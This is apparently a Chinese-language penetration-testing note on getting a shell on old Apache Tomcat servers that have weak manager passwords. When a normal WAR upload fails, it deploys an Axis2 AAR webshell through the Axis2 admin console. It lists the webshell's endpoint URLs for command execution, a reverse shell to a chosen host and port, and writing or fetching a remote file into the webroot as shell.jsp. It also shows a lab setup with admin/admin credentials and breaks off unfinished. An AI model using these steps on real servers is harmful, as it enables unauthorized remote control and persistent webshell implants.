打war包
建议用命令行
jar -cvf shell.war shell.jsp
低版本Tomcat Bypass常规war包无法上传Getshell
目标低版本的tomcat弱口令,但是常规的war包无法上传。
文章来源
https://mp.weixin.qq.com/s/MKfjQy0N0MoT5qkY-0UpoA
文章中将war包中的jsp更换为txt便可以访问,发现问题就出在了jsp文件上面。或者是目录问题(无法解析等)。
解决方式
文章中给出的解决方式是可以利用axis进行文件上传。
是利用aar后缀进行部署的。
链接
https://github.com/Svti/Axis2Shell
使用介绍
1、命令执行 http://1.1.1.1/services/config/exec?cmd=whoami (不说了,执行命令。注意:xml换行没有处理好)
2、反弹shell http://1.1.1.1/services/config/shell?host=1.1.1.1&port=5555 (Linux则使用bash反弹shell,Windows则会进行socket执行shell)
3、文件上传 http://1.1.1.1/services/config/upload?path=/opt/tomcat/webapps/ROOT/shell.jsp (会把resource目录下面的one.txt 写成shell.jsp,注意:全路径,带*文件名)
4、文件下载 http://1.1.1.1/services/config/download?url=http://www.ooo.com/mm.txt&path=/opt/tomcat/webapps/ROOT/shell.jsp (会把这个URL的文件写成shell.jsp,注意:全路径,带*文件名)
5、class目录查看 http://1.1.1.1/services/config/getClassPath (会显示当前class的路径,方便文件上传)
测试
低版本tomcat下载地址
https://archive.apache.org/dist/tomcat/
这里下的是6.0版本
https://archive.apache.org/dist/tomcat/tomcat-6/v6.0.0/bin/
tomcat基础配置
修改服务端口
.........\apache-tomcat-6.0.0\conf\server.xml
修改认证用户名密码
apache-tomcat-6.0.0\conf\tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="tomcat"/>
<role rolename="role1"/>
<role rolename="manager"/>
<role rolename="admin"/>
<user username="admin" password="admin" roles="admin,manager"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
<user username="role1" password="tomcat" roles="role1"/>
<user username="both" password="tomcat" roles="tomcat,role1"/>
</tomcat-users>
注意
启动
以windows为例
建议使用管理员方式执行
apache-tomcat-6.0.0\bin\startup.bat
准备axis2
https://axis.apache.org/axis2/java/
http://mirror.bit.edu.cn/apache/axis/axis2/java
这里需要下载的是war
现在好像已经下不到低版本了
利用
部署axis2
访问axis2 console
http://127.0.0.1:8081/axis2/axis2-admin/welcome
登录
选择Tools-“ Upload Service ”上传aar包
出现此即为成功
这里的aar有点问题,之后再更新